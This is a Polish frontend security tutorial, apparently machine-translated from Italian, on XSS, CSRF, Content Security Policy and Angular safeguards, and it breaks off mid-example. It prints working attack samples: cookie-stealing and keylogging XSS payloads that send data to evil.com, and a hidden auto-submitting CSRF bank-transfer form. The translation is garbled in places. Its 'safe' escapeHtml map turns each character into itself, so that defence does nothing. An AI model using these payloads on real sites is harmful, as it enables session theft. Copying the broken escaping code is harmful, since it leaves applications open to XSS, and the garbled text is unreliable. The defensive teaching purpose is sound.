02 - XSS, CSRF i CSP: Bezpieczeństwo frontonu
Frontend to pierwszy punkt kontaktu pomiędzy użytkownikiem a Twoją aplikacją. Każde pole wejściowe, każdy adres URL, każde żądanie HTTP reprezentuje potencjalny wektor ataku. W 2025 r. z pojedynczą stroną Architektury aplikacyjne (SPA), Progressive Web App (PWA) i hybrydowe SSR/CSR, powierzchnia ataku frontendu ogromnie się rozwinęło. W bezpieczeństwie frontendowym dominują trzy akronimy: XSS (Skrypty między witrynami), CSRF (Fałszowanie żądań między witrynami) CSP (Polityka bezpieczeństwa treści). Opanowanie tych trzech obszarów oznacza ochronę uniemożliwić użytkownikom kradzież sesji, wykonywanie nieautoryzowanych działań i wstrzykiwanie złośliwy kod.
W tym artykule szczegółowo przeanalizujemy każdy atak, podając prawdziwe przykłady podatnego kodu i bezpieczne, praktyczne konfiguracje oraz kompletną listę kontrolną zabezpieczającą Twoje Aplikacja kątowa.
Czego się nauczysz
- Trzy typy XSS (odbite, przechowywane, oparte na DOM) z przykładami rzeczywistych ładunków
- Jak działa atak CSRF i dlaczego same pliki cookie nie wystarczą
- Wszystkie dyrektywy CSP z praktycznymi konfiguracjami dla Angular, Express i Nginx
- Podstawowe nagłówki HTTP zabezpieczające i sposób ich konfiguracji
- Zabezpieczenia XSS i CSRF wbudowane w Angular i jak ich nie wyłączać
- dlaczego 86% kodu generowanego przez sztuczną inteligencję nie przechodzi testów XSS
- Profesjonalne narzędzia do testowania bezpieczeństwa frontendu
Powierzchnia ataku nowoczesnego frontendu
Nowoczesna aplikacja internetowa nie jest już prostą stroną HTML obsługiwaną przez serwer. SPA jak te zbudowane z Angular, React lub Vue obsługują routing, stan, uwierzytelnianie i logikę biznes bezpośrednio w przeglądarce. Powoduje to przesunięcie znacznej części powierzchni atak z serwera na klienta.
Oto główne wektory ataku we współczesnym frontendzie:
- Nie oczyszczone dane wejściowe użytkownika: pola tekstowe, adres URL, ciąg zapytania, skrót fragmentu, plik cookie, nagłówek HTTP, przesyłanie pliku, pamięć lokalna, wiadomości WebSocket
- Dynamiczne renderowanie DOM:
innerHTML,document.write(), ciągi szablonów bez ucieczki, renderowanie warunkowe na podstawie danych zewnętrznych - Zależności stron trzecich: Biblioteki JavaScript ładowane przez CDN, skrypty analityczne, widżety społecznościowe, czcionki zewnętrzne
- Komunikacja między źródłami: Żądania API, postMessage, osadzanie elementów iframe, połączenia WebSocket
- Magazyn lokalny: localStorage, sessionStorage, IndexedDB mogą zawierać wrażliwe dane, do których mogą uzyskać dostęp złośliwe skrypty
Dane krytyczne: częstość ataków frontendowych
Według raportu HackerOne 2025, Największą luką pozostają skrypty między witrynami zgłoszone w programach bug bounty, co stanowi 18% wszystkich zgłoszeń. CSRF plasuje się na poziomie 7%. Razem te dwa ataki stanowią jedną czwartą wszystkich ataków luki w zabezpieczeniach wykryte przez profesjonalnych badaczy bezpieczeństwa.
Cross-Site Scripting (XSS): najpopularniejszy atak
Il Skrypty między witrynami (XSS) występuje, gdy atakującemu uda się wstrzyknąć i wykonać kod JavaScript w przeglądarce innego użytkownika, w kontekście zaufanej strony internetowej. Atak wykorzystuje zaufanie, jakie przeglądarka użytkownika pokłada w stosunku do witryny: wstrzyknięty kod działa z tymi samymi uprawnieniami, co legalny JavaScript aplikacji i dlatego może uzyskać dostęp do plików cookie, sesji, tokenów i wszelkich danych na stronie.
Istnieją trzy główne warianty XSS, każdy z innym mechanizmem wtrysku:
1. Odbity XSS (nietrwały)
Il Odzwierciedlone XSS występuje, gdy dane wejściowe użytkownika są zawarte w pliku Odpowiedź HTTP serwera bez oczyszczania. Szkodliwy ładunek jest zawarty w adresie URL i pochodzi „odzwierciedlone” na stronie HTML. Osoba atakująca musi przekonać ofiarę do kliknięcia łącza specjalnie zaprojektowane (phishing, socjotechnika).
// L'attaccante costruisce questo URL e lo invia alla vittima:
https://shop.example.com/search?q=<script>
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
// Il server genera la pagina con il termine di ricerca non sanitizzato:
<h2>Risultati per: <script>fetch('https://evil.com/steal?...')</script></h2>
// Il browser della vittima esegue lo script: il cookie di sessione
// viene inviato al server dell'attaccante
// VULNERABILE: il parametro viene inserito direttamente nell'HTML
app.get('/search', (req, res) => {
const query = req.query.q;
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// SICURO: output encoding con escape dei caratteri HTML
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q || '');
res.send(`
<h2>Risultati per: ${query}</h2>
<div id="results">...</div>
`);
});
// <script> diventa <script> - non viene eseguito
2. Przechowywany XSS (trwały)
Lo Przechowywane XSS i najniebezpieczniejszy wariant. Szkodliwy ładunek zostaje zapisany na stałe w bazie serwera (na przykład w komentarzu, w profilu użytkownika, w pliku wiadomość) i jest wyświetlany każdemu użytkownikowi przeglądającemu ten zasób. Nie wymaga, aby ofiara klika specjalny link: wystarczy odwiedzić zanieczyszczoną stronę.
// L'attaccante inserisce questo commento nel blog:
const maliciousComment = `
Ottimo articolo!
<img src="x" onerror="
// Keylogger: cattura tutto ciò che l'utente digita
document.addEventListener('keypress', function(e) {
fetch('https://evil.com/keys?k=' + e.key);
});
">
`;
// VULNERABILE: il commento viene salvato e renderizzato senza sanitizzazione
app.post('/api/comments', async (req, res) => {
await db.comments.insert({
text: req.body.text, // Nessuna sanitizzazione!
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// Nella pagina del blog, il commento viene inserito con innerHTML:
commentDiv.innerHTML = comment.text; // Lo script viene eseguito!
// SICURO: sanitizzazione sia in input che in output
import DOMPurify from 'dompurify';
import { escape as escapeHtml } from 'lodash';
app.post('/api/comments', async (req, res) => {
// Sanitizzazione in input: rimuovi tag pericolosi
const cleanText = DOMPurify.sanitize(req.body.text, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
await db.comments.insert({
text: cleanText,
author: req.user.id,
date: new Date()
});
res.json({ success: true });
});
// In output: usa textContent invece di innerHTML quando possibile
commentDiv.textContent = comment.text;
3. XSS oparty na DOM
Il XSS oparty na DOM i najbardziej podstępny, ponieważ ładunek nigdy przez niego nie przechodzi
serwer. Atak odbywa się całkowicie w przeglądarce: prawidłowy kod JavaScript na stronie
odczytuje dane ze źródła kontrolowanego przez atakującego (adres URL, skrót fragmentu, document.referrer,
postMessage) i wstawia je do DOM bez oczyszczania.
// VULNERABILE: legge dal fragment hash e inserisce nel DOM
// URL malevolo: https://app.example.com/#<img src=x onerror=alert(document.cookie)>
const userInput = document.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(userInput);
// Il browser esegue il codice nell'attributo onerror!
// VULNERABILE: document.referrer usato come sink
document.getElementById('back-link').innerHTML =
'<a href="' + document.referrer + '">Torna indietro</a>';
// document.referrer può contenere payload XSS
// VULNERABILE: postMessage senza validazione dell'origine
window.addEventListener('message', (event) => {
// Accetta messaggi da qualsiasi origine!
document.getElementById('widget').innerHTML = event.data.html;
});
// SICURO: sanitizzazione e validazione
import DOMPurify from 'dompurify';
const userInput = document.location.hash.substring(1);
const decoded = decodeURIComponent(userInput);
document.getElementById('content').textContent = decoded; // textContent, non innerHTML
// SICURO: postMessage con validazione dell'origine
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted.example.com') {
return; // Rifiuta messaggi da origini non fidate
}
const cleanHtml = DOMPurify.sanitize(event.data.html);
document.getElementById('widget').innerHTML = cleanHtml;
});
Rzeczywisty wpływ ataków XSS
Udany atak XSS może spowodować ogromne szkody. Oto, co może zrobić atakujący który uruchamia JavaScript w przeglądarce ofiary:
| Typ ataku | Opis | Powaga |
|---|---|---|
| Przejmowanie sesji | Kradzież pliku cookie sesji w celu podszywania się pod użytkownika | Krytyka |
| Rejestrowanie klawiszy | Przechwytywanie każdego klawisza naciśniętego przez użytkownika (hasła, karty kredytowe) | Krytyka |
| Wymazanie | Zmiana widocznej zawartości strony w celu zniszczenia reputacji | Wysoki |
| Wyłudzanie informacji | Wstrzykiwanie fałszywych formularzy logowania w celu kradzieży danych uwierzytelniających | Krytyka |
| Kopanie kryptowalut | Uruchamianie koparek kryptowalut w przeglądarce ofiary | Przeciętny |
| Robaki XSS | Skrypt, który rozprzestrzenia się samodzielnie, infekując profile innych użytkowników | Krytyka |
| Eksfiltracja danych | Odczyt i wysyłanie wrażliwych danych ze strony (token, dane osobowe) | Krytyka |
Zapobieganie XSS: głęboka obrona
Zapobieganie XSS wymaga podejścia głęboka obrona: nie polegaj na a pojedynczy poziom obrony, ale łączy w sobie wiele uzupełniających się technik. Celem jest to zapewnić żadne niezaufane dane nie mogą zostać zinterpretowane przez przeglądarkę jako kod.
1. Kodowanie wyjściowe (pierwsza linia obrony)
Kodowanie wyjściowe przekształca znaki specjalne w bezpieczne jednostki HTML przed wstawieniem ich do modelu DOM. I najważniejsza obrona przed odbitym i przechowywanym XSS.
// Contesto HTML: escape dei caratteri HTML
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'/]/g, (c) => map[c]);
}
// Contesto attributo HTML
// <div title="USER_INPUT">
const safeAttr = escapeHtml(userInput);
// Contesto URL: codifica i parametri
// <a href="/search?q=USER_INPUT">
const safeUrl = encodeURIComponent(userInput);
// Contesto JavaScript: JSON.stringify con escape
// <script>var data = USER_INPUT;</script>
const safeJs = JSON.stringify(userInput);
// Contesto CSS: evita completamente input utente in CSS
// NON fare mai: element.style.background = userInput;
2. Oczyszczanie danych wejściowych za pomocą DOMPurify
Jeśli chcesz zaakceptować kod HTML od użytkownika (edytor tekstu sformatowanego, przecena), użyj DOMPoczyść aby usunąć wszelkie niebezpieczne znaczniki lub atrybuty.
import DOMPurify from 'dompurify';
// Configurazione base: rimuovi tutto il JavaScript
const clean = DOMPurify.sanitize(dirtyHtml);
// Configurazione restrittiva: solo tag formattazione base
const strictClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false
});
// Configurazione per editor rich-text
const richTextClean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['h1', 'h2', 'h3', 'p', 'br', 'ul', 'ol', 'li',
'strong', 'em', 'a', 'img', 'blockquote', 'pre', 'code'],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i
});
// Hook personalizzato: rimuovi attributi on*
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
if (data.attrName.startsWith('on')) {
data.keepAttr = false; // Rimuovi onclick, onerror, onload, etc.
}
});
3. Ochrona XSS w Angularze
Angular zapewnia solidną, wbudowaną ochronę XSS. Ramy dotyczą wszystkie wartości jako domyślnie niezaufany i automatycznie dezynfekuje je przed włożeniem do DOM. Ta ochrona działa w przypadku interpolacji, powiązania właściwości i powiązania atrybutów.
import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';
@Component({
selector: 'app-comment',
template: `
<!-- SICURO: Angular esegue l'escape automaticamente -->
<p>Commento: {{ userComment }}</p>
<!-- SICURO: Angular sanitizza innerHTML automaticamente -->
<div [innerHTML]="userComment"></div>
<!-- <script> e onerror vengono rimossi automaticamente -->
<!-- SICURO: textContent non interpreta HTML -->
<div [textContent]="userComment"></div>
<!-- PERICOLOSO: bypass del sanitizer -->
<div [innerHTML]="trustedHtml"></div>
`
})
export class CommentComponent {
userComment = '<script>alert("XSS")</script><b>Testo</b>';
trustedHtml: SafeHtml;
constructor(private sanitizer: DomSanitizer) {
// bypassSecurityTrustHtml: SOLO per contenuto che controlli al 100%
// Mai usarlo con input utente!
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml(
'<div class="safe-content">Contenuto controllato internamente</div>'
);
}
}
Kiedy Angular Cię nie chroni
- Użycie
bypassSecurityTrustHtml/Script/Style/Url/ResourceUrlz danymi użytkownika - Bezpośrednia manipulacja DOM za pomocą
ElementRef.nativeElement.innerHTML - Użycie
document.write()oeval() - Dynamiczna konstrukcja adresu URL za pomocą
javascript:protokół - Renderowanie po stronie serwera bez kodowania (niestandardowe szablony Angular Universal)
4. Zareaguj na automatyczną ucieczkę JSX
React zapewnia także wbudowaną ochronę XSS. JSX automatycznie ucieka od wszystkiego
renderowane wartości. Jedynym wyjątkiem jest rekwizyt dangerouslySetInnerHTML, to
omija ochronę (sama nazwa jest ostrzeżeniem).
// SICURO: JSX esegue l'escape automaticamente
function SafeComponent({ userInput }: { userInput: string }) {
return <p>{userInput}</p>; // <script> diventa testo visibile
}
// PERICOLOSO: bypassa la protezione di React
function UnsafeComponent({ html }: { html: string }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
// Se html contiene <script>, viene eseguito!
}
// SICURO: sanitizza prima di usare dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function SafeRichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Fałszerstwo żądań między witrynami (CSRF): niewidzialny atak
Il CSRF (fałszowanie żądań między witrynami) oraz atak, który wymusza na przeglądarce a uwierzytelnionemu użytkownikowi możliwość wysłania niezamierzonego żądania do witryny, w której jest już zalogowany. A W przeciwieństwie do XSS, CSRF nie wprowadza kodu do witryny ofiary: wykorzystuje fakt, że przeglądarka automatycznie wysyła sesyjne pliki cookie przy każdym żądaniu do powiązanej domeny, niezależnie od tego, która witryna wygenerowała żądanie.
Jak działa atak CSRF
Przebieg ataku CSRF przebiega według następujących kroków:
- Użytkownik uwierzytelnia się su
bank.example.comi otrzymuje sesyjny plik cookie - Użytkownik odwiedza złośliwą witrynę (
evil.example.com) w innej zakładce - Szkodliwa witryna zawiera ukryty formularz lub obraz, który generuje żądanie
bank.example.com - Przeglądarka wysyła automatycznie plik cookie sesji użytkownika z żądaniem
- Serwer banku otrzymuje pozornie uzasadnione żądanie i wykonuje je
<!-- Pagina malevola su evil.example.com -->
<html>
<body>
<h1>Congratulazioni! Hai vinto un premio!</h1>
<!-- Form nascosto che effettua un bonifico -->
<form id="csrf-form"
action="https://bank.example.com/api/transfer"
method="POST"
style="display:none">
<input name="to" value="attacker-account-123" />
<input name="amount" value="10000" />
<input name="currency" value="EUR" />
</form>
<!-- Il form viene inviato automaticamente -->
<script>document.getElementById('csrf-form').submit();</script>
<!-- Alternativa: immagine che genera una GET (meno pericolosa) -->
<img src="https://bank.example.com/api/transfer?to=attacker&amount=1000"
style="display:none" />
</body>
</html>
ponieważ plik cookie to za mało
Pliki cookies są automatycznie wysyłane przez przeglądarkę przy każdym żądaniu do domeny, która je wysyła wydał. Serwer nie może odróżnić uzasadnionego żądania od żądania zawierającego wyłącznie CSRF patrząc na plik cookie: oba zawierają ważny plik cookie sesji. Potrzebne są mechanizmy dodatkowo w celu sprawdzenia, czy żądanie pochodzi z legalnej witryny.
Zapobieganie CSRF: cztery podstawowe techniki
1. Atrybut pliku cookie SameSite
Atrybut SameSite na plikach cookies oraz najnowocześniejszej i najskuteczniejszej obronie CSRF.
Kontroluje, kiedy przeglądarka wysyła plik cookie z żądaniami między witrynami.
| Wartość tej samej witryny | Zachowanie | Ochrona CSRF |
|---|---|---|
Strict |
Plik cookie wysyłany tylko w przypadku żądań z tej samej witryny. Nigdy nie wysyłane w przypadku żądań między witrynami, nawet w przypadku zwykłych linków | Maksymalny |
Lax |
Plik cookie wysyłany do nawigacji najwyższego poziomu GET (link), ale NIE do żądań POST, iframe lub AJAX między witrynami | Dobrze (domyślnie w Chrome) |
None |
Plik cookie zawsze wysyłany (wymaga Secure). Wymagane w przypadku legalnych integracji między witrynami |
Nic |
import session from 'express-session';
app.use(session({
secret: process.env.SESSION_SECRET!,
cookie: {
httpOnly: true, // Non accessibile da JavaScript
secure: true, // Solo HTTPS
sameSite: 'lax', // Protezione CSRF
maxAge: 3600000, // 1 ora
domain: '.example.com',
path: '/'
},
resave: false,
saveUninitialized: false
}));
2. Wzór tokena synchronizatora (token CSRF)
Klasyczny i najbardziej niezawodny wzorzec: serwer generuje unikalny losowy token na sesję, lo umieszcza go w formularzu jako ukryte pole i sprawdza przy każdym żądaniu POST. Złośliwa witryna nie może znać tokena, ponieważ nie ma dostępu do DOM legalnej witryny.
import crypto from 'crypto';
// Middleware: genera il CSRF token e lo salva nella sessione
function csrfTokenMiddleware(req: Request, res: Response, next: NextFunction) {
if (!req.session.csrfToken) {
req.session.csrfToken = crypto.randomBytes(32).toString('hex');
}
// Rendi il token disponibile nei template
res.locals.csrfToken = req.session.csrfToken;
next();
}
// Middleware: verifica il CSRF token nelle richieste POST/PUT/DELETE
function csrfValidation(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const token = req.body._csrf || req.headers['x-csrf-token'];
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Token CSRF non valido' });
}
}
next();
}
// Nel form HTML:
// <input type="hidden" name="_csrf" value="TOKEN_GENERATO">
3. Podwójnie prześlij wzór pliku cookie
Alternatywa bezstanowa: serwer wysyła token CSRF zarówno jako plik cookie, jak i jako pole formularza. Po otrzymaniu sprawdź, czy obie wartości są zgodne. Złośliwa witryna może wysłać plik cookie (przeglądarka robi to automatycznie), ale nie może odczytać wartości pliku cookie umieść go w treści żądania.
import crypto from 'crypto';
// Il server genera il token e lo invia come cookie
function setDoubleSubmitToken(req: Request, res: Response, next: NextFunction) {
const token = crypto.randomBytes(32).toString('hex');
res.cookie('csrf-token', token, {
httpOnly: false, // Il JavaScript del sito deve poterlo leggere
secure: true,
sameSite: 'lax',
path: '/'
});
next();
}
// Validazione: il valore nel cookie deve corrispondere a quello nell'header
function validateDoubleSubmit(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const cookieToken = req.cookies['csrf-token'];
const headerToken = req.headers['x-csrf-token'];
if (!cookieToken || !headerToken || cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF validation failed' });
}
}
next();
}
4. Weryfikacja nagłówka źródła/strony odsyłającej
Sprawdź, czy nagłówek Origin o Referer żądania odpowiada
do domeny serwisu. I dodatkowa obrona, a nie podstawowa, bo te główki mogą być
nieobecny w niektórych kontekstach.
const ALLOWED_ORIGINS = [
'https://app.example.com',
'https://www.example.com'
];
function validateOrigin(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin) {
// Fail-closed: se manca l'origin, rifiuta la richiesta
return res.status(403).json({ error: 'Origin header mancante' });
}
const requestOrigin = new URL(origin).origin;
if (!ALLOWED_ORIGINS.includes(requestOrigin)) {
return res.status(403).json({ error: 'Origin non autorizzato' });
}
}
next();
}
Ochrona CSRF w Angularze
Angular zapewnia wbudowaną obsługę CSRF poprzez HttpClient. Kiedy serwer wysyła
ciasteczko XSRF-TOKEN, Angular automatycznie go odczytuje i dołącza jako nagłówek
X-XSRF-TOKEN w każdym żądaniu mutacyjnym (POST, PUT, DELETE, PATCH).
// app.config.ts - Angular legge XSRF-TOKEN e invia X-XSRF-TOKEN automaticamente
import { provideHttpClient, withXsrfConfiguration } from '@angular/common/http';
export const appConfig = {
providers: [
provideHttpClient(
withXsrfConfiguration({
cookieName: 'XSRF-TOKEN', // Nome del cookie (default)
headerName: 'X-XSRF-TOKEN' // Nome dell'header (default)
})
)
]
};
// Server Express: imposta il cookie XSRF-TOKEN
import csurf from 'csurf';
app.use(csurf({
cookie: {
key: 'XSRF-TOKEN',
httpOnly: false, // Angular deve poterlo leggere
secure: true,
sameSite: 'lax'
}
}));
Polityka bezpieczeństwa treści (CSP): Najlepsza obrona przed XSS
La Polityka bezpieczeństwa treści (CSP) oraz nagłówek HTTP, który umożliwia sprawdzenie
jakie zasoby przeglądarka może załadować i uruchomić. I najpotężniejsza obrona przed XSS, ponieważ
działa na poziomie przeglądarki: nawet jeśli atakującemu uda się ją wstrzyknąć <script>
w DOM, przeglądarka odmówi jego wykonania, jeśli nie jest autoryzowana przez politykę CSP.
CSP działa na zasadzie biała lista: Jawnie określ, które źródła są autoryzowane dla każdego typu zasobu (skrypty, style, obrazy, czcionki, połączenia). Wszystko, co nie jest wyraźnie dozwolone, jest blokowane.
CSP poprzez nagłówek vs metatag
// 1. Header HTTP (preferito - più sicuro, supporta report-uri)
Content-Security-Policy: default-src 'self'; script-src 'self'
// 2. Meta tag HTML (fallback se non puoi controllare gli header)
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self'">
// NOTA: il meta tag NON supporta frame-ancestors e report-uri
Szczegółowe wytyczne CSP
| Dyrektywa | Sprawdzać | Przykład |
|---|---|---|
default-src |
Rozwiązanie zastępcze dla wszystkich innych nieokreślonych dyrektyw | 'self' |
script-src |
Źródła skryptów JavaScript | 'self' 'nonce-abc123' |
style-src |
Źródła arkuszy stylów CSS | 'self' https://fonts.googleapis.com |
img-src |
Źródła obrazu | 'self' data: https: |
connect-src |
Adres URL do pobrania, XHR, WebSocket, EventSource | 'self' https://api.example.com |
font-src |
Źródła czcionek | 'self' https://fonts.gstatic.com |
frame-src |
Źródła ramek iframe | 'none' |
frame-ancestors |
Kto może osadzić stronę w elemencie iframe | 'none' (zabezpieczenie przed kliknięciami) |
base-uri |
Prawidłowe adresy URL tagu <base> |
'self' |
form-action |
Prawidłowe adresy URL atrybutu działania formularzy | 'self' |
object-src |
Źródła wtyczek (Flash, Applet Java) | 'none' |
Nonce i ścisła dynamika: Nowoczesne CSP
System nonce i najbezpieczniejszy sposób autoryzacji określonych skryptów. Serwer
generuje losową wartość dla każdego żądania i uwzględnia ją zarówno w nagłówku CSP, jak i atrybucie
skrypt jednorazowy. Wykonywane są tylko skrypty z poprawną wartością jednorazową.
import crypto from 'crypto';
// Middleware Express: genera un nonce per ogni richiesta
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'"
].join('; '));
next();
});
// Nel template HTML:
// <script nonce="NONCE_GENERATO">...codice legittimo...</script>
// Con 'strict-dynamic': gli script caricati da script con nonce
// sono automaticamente autorizzati (cascading trust)
dlaczego Unikaj „unsafe-inline” w przypadku skryptów
Dyrektywa 'unsafe-inline' in script-src prawie się to znosi
Pełna ochrona CSP przed XSS. Umożliwia wykonanie dowolnego skryptu
inline, łącznie z tymi wstrzykniętymi przez atakującego. Jeśli potrzebujesz skryptu wbudowanego, użyj
chwilowo o haszysz zamiast 'unsafe-inline'.
Dla stylów, 'unsafe-inline' i często konieczne i mniej niebezpieczne.
Tryb tylko raportu CSP
Przed aktywacją CSP w środowisku produkcyjnym użyj Content-Security-Policy-Report-Only dla
monitoruj naruszenia bez ich blokowania. Pozwala to zidentyfikować i rozwiązać problem
problemy ze zgodnością przed zastosowaniem zasad.
// Report-Only: monitora senza bloccare
res.setHeader('Content-Security-Policy-Report-Only',
"default-src 'self'; " +
"script-src 'self'; " +
"report-uri /api/csp-report; " +
"report-to csp-endpoint"
);
// Endpoint per ricevere i report di violazione
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }),
(req, res) => {
const violation = req.body['csp-report'];
console.log('CSP Violation:', {
documentUri: violation['document-uri'],
violatedDirective: violation['violated-directive'],
blockedUri: violation['blocked-uri'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number']
});
res.status(204).end();
}
);
Praktyczny CSP: konfiguracja dla rzeczywistych środowisk
Konfiguracja CSP dla Angulara z Express.js
import helmet from 'helmet';
import crypto from 'crypto';
app.use((req, res, next) => {
res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
next();
});
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: [
"'self'",
(req, res) => `'nonce-${res.locals.cspNonce}'`,
"'strict-dynamic'",
"https://www.googletagmanager.com"
],
styleSrc: [
"'self'",
"'unsafe-inline'", // Necessario per Angular styles
"https://fonts.googleapis.com"
],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: [
"'self'",
"https://api.example.com",
"https://www.google-analytics.com"
],
frameAncestors: ["'none'"],
objectSrc: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
},
crossOriginEmbedderPolicy: false
}));
Konfiguracja CSP dla Nginx
server {
listen 443 ssl http2;
server_name example.com;
# Content Security Policy
add_header Content-Security-Policy
"default-src 'self'; "
"script-src 'self' https://www.googletagmanager.com; "
"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; "
"img-src 'self' data: https:; "
"font-src 'self' https://fonts.gstatic.com; "
"connect-src 'self' https://api.example.com; "
"frame-ancestors 'none'; "
"base-uri 'self'; "
"form-action 'self'; "
"object-src 'none'; "
"upgrade-insecure-requests"
always;
# Altri header di sicurezza (vedi sezione dedicata)
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
}
Podstawy bezpieczeństwa nagłówków HTTP
Oprócz CSP istnieją inne nagłówki HTTP, które znacznie wzmacniają bezpieczeństwo swojej aplikacji. Każdy chroni przed określonym rodzajem ataku.
| Chodnikowiec | Zalecana wartość | Ochrona |
|---|---|---|
X-Frame-Options |
DENY |
Zapobiega przechwytywaniu kliknięć (osadzanie elementów iframe) |
X-Content-Type-Options |
nosniff |
Zapobiega wąchaniu MIME (przeglądarka nie zgaduje typu zawartości) |
Strict-Transport-Security |
max-age=31536000; includeSubDomains; preload |
Wymuś HTTPS dla wszystkich przyszłych połączeń (HSTS) |
Referrer-Policy |
strict-origin-when-cross-origin |
Kontroluje, jakie informacje są wysyłane w nagłówku strony odsyłającej |
Permissions-Policy |
camera=(), microphone=(), geolocation=() |
Wyłącz niepotrzebne interfejsy API przeglądarki |
X-XSS-Protection |
0 |
Wyłącz starszy filtr XSS przeglądarki (może powodować luki w zabezpieczeniach) |
Cross-Origin-Opener-Policy |
same-origin |
Izoluje kontekst przeglądania od dokumentów pochodzących z innych źródeł |
Cross-Origin-Resource-Policy |
same-origin |
Zapobiega ładowaniu zasobów między źródłami |
import helmet from 'helmet';
app.use(helmet({
// CSP (configurata separatamente per il nonce)
contentSecurityPolicy: false,
// Previeni clickjacking
frameguard: { action: 'deny' },
// Previeni MIME sniffing
noSniff: true,
// HSTS: forza HTTPS per 1 anno
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true
},
// Referrer Policy
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
// Disabilita il filtro XSS legacy (può essere sfruttato)
xssFilter: false,
// Cross-Origin policies
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' }
}));
// Permissions Policy (non gestito da Helmet)
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=()');
next();
});
Testowanie nagłówków
Po skonfigurowaniu nagłówków sprawdź wynik za pomocą tych bezpłatnych narzędzi:
- securityheaders.com - Pełna analiza nagłówków HTTP z oceną A-F
- obserwatorium.mozilla.org - Skaner bezpieczeństwa Mozilli
- csp-evaluator.withgoogle.com - Walidator specyficzny dla Google CSP
Bezpieczeństwo w Angular: Zintegrowane zabezpieczenia
Angular wdraża solidny system bezpieczeństwa, który chroni programistów przed najczęstsze luki. Ważne jest, aby zrozumieć, jak to działa, aby go nie wyłączyć przypadkowo.
Automatyczne oczyszczanie DOM
Angular klasyfikuje wartości na pięć konteksty bezpieczeństwai zastosuj inna sanitacja dla każdego:
| Kontekst | Metoda obejścia | Kiedy go używać |
|---|---|---|
| HTML | bypassSecurityTrustHtml() |
Treść HTML z zaufanego CMS-a |
| Styl | bypassSecurityTrustStyle() |
Wewnętrznie obliczone style dynamiczne |
| Adres URL | bypassSecurityTrustUrl() |
Adresy URL utworzone przez logikę wewnętrzną |
| Adres URL zasobu | bypassSecurityTrustResourceUrl() |
Adres URL skryptów/ramek iframe z zaufanych sieci CDN |
| Skrypty | bypassSecurityTrustScript() |
Prawie nigdy - niezwykle niebezpieczne |
import { Component, inject } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';
@Component({
selector: 'app-safe-content',
template: `
<!-- SICURO: Angular sanitizza automaticamente -->
<div [innerHTML]="htmlContent"></div>
<!-- SICURO: textContent non interpreta HTML -->
<span [textContent]="userInput"></span>
<!-- SICURO con bypass controllato -->
<iframe [src]="safeSrc"></iframe>
<!-- PERICOLOSO: non fare mai questo -->
<div [innerHTML]="unsafeBypass"></div>
`
})
export class SafeContentComponent {
private sanitizer = inject(DomSanitizer);
htmlContent = '<b>Bold</b><script>alert(1)</script>';
// Angular rimuove <script>, mantiene <b>
userInput = '<script>alert(1)</script>';
// Renderizzato come testo visibile
// SICURO: URL hardcoded e fidato
safeSrc = this.sanitizer.bypassSecurityTrustResourceUrl(
'https://www.youtube.com/embed/video-id'
);
